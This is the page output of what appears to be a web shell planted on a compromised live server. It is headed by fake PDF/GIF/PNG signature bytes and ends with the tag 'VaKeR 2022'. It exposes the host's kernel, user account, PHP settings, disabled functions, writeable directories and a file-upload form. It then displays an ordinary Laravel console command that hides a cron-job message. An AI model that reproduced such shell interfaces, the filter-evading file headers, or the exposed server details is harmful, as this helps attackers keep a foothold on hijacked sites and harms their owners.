%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Console/Commands/HideCronJobMessage.php
<?php

namespace App\Console\Commands;

use App\Models\GlobalSetting;
use Illuminate\Console\Command;

class HideCronJobMessage extends Command
{

    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'hide-cron-message';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Hide cron job message.';

    /**
     * Execute the console command.
     *`
     * @return mixed
     */

    public function handle()
    {
        $setting = GlobalSetting::first();
        $difference = now()->diffInHours($setting->last_cron_run);

        // If difference between time is more than 12 hours or cron job is less than run the cron job
        // This is checked so that global cache do not reset every minute
        if ($difference > 12 || is_null($setting->last_cron_run)) {
            $setting->last_cron_run = now();
            // Update the last cron run time
            $setting->hide_cron_message = 1;

            // This will reset the global cache
            $setting->save();
        }

    }

}

VaKeR 2022